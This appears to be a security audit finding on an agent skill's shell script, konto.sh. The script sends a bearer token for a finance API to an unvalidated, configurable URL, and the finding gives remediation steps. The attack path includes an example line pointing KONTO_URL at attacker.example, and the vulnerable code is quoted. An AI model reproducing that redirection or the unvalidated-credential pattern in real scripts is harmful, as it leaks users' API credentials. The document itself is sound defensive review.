T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/konto.sh:2
- Finding
- Unvalidated API destination can disclose the bearer token<![CDATA[ ## Vulnerability Details **File Location**: `scripts/konto.sh`, lines 2–13 **Vulnerability Type**: Unrestricted transmission of an authorization credential to a configurable destination **Risk Level**: Medium ### Vulnerable Code ```bash source ~/.openclaw/secrets/konto.env URL="${KONTO_URL:-https://konto.angelstreet.io}" AUTH="Authorization: Bearer $KONTO_API_KEY" case ${1:-summary} in summary) curl -s -H "$AUTH" "$URL/api/v1/summary" ;; accounts) curl -s -H "$AUTH" "$URL/api/v1/accounts" ;; invest*) curl -s -H "$AUTH" "$URL/api/v1/investments" ;; loans) curl -s -H "$AUTH" "$URL/api/v1/loans" ;; assets) curl -s -H "$AUTH" "$URL/api/v1/assets" ;; tx*|trans*) curl -s -H "$AUTH" "$URL/api/v1/transactions?months=${2:-6}${3:+&category=$3}" ;; analytics) curl -s -H "$AUTH" "$URL/api/v1/analytics/${2:-demographics}" ;; ``` ### Technical Analysis The script obtains `KONTO_URL` from `~/.openclaw/secrets/konto.env` and uses it directly as the destination for requests carrying the `Authorization: Bearer $KONTO_API_KEY` header. It does not validate the URL scheme or hostname before transmitting the credential. Consequently, an accidental or malicious configuration can direct requests to an arbitrary server. The script also permits an `http://` URL, which would transmit the bearer credential without TLS transport confidentiality. Although `curl` verifies HTTPS certificates by default, that protection does not ensure the selected host is an authorized Konto API server. The vulnerable behavior affects every supported command because each request reuses the same unvalidated URL and authorization header. ### Attack Path 1. An attacker, compromised provisioning process, or unsafe configuration change modifies `KONTO_URL` in `~/.openclaw/secrets/konto.env`, for example: ```bash export KONTO_URL="https://attacker.example" ``` 2. The user or Agent invokes `scripts/konto.sh` with any supported operation. 3. The ...[truncated 1343 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. **Require HTTPS explicitly** - Reject URLs whose scheme is not exactly `https`. - Restrict curl to HTTPS: ```bash curl --proto '=https' --tlsv1.2 --fail --silent --show-error ... ``` 2. **Allowlist approved API hosts** - Parse and compare the configured hostname against a fixed allowlist, such as `konto.angelstreet.io`. - Reject URLs containing unexpected user information, ports, paths, fragments, or malformed hostnames. - Prefer a fixed API origin when custom deployments are not required. 3. **Validate configuration before constructing the authorization request** - Exit without making a request if `KONTO_API_KEY` is absent. - Exit if `KONTO_URL` fails scheme and hostname validation. - Normalize the base URL and reject unexpected trailing path components. 4. **Separate data configuration from executable shell content** - Avoid `source` for files intended only to contain configuration values, because sourcing executes arbitrary shell commands. - Use a non-executable configuration format with strict parsing and restrictive file permissions such as mode `0600`. 5. **Harden credential handling** - Use a credential store or secret manager where available. - Rotate the API key if it may have been sent to an untrusted or plaintext destination. - Grant the token only the minimum required scope. A hardened implementation should validate the origin before attaching the authorization header and terminate on every validation or transport error. ]]>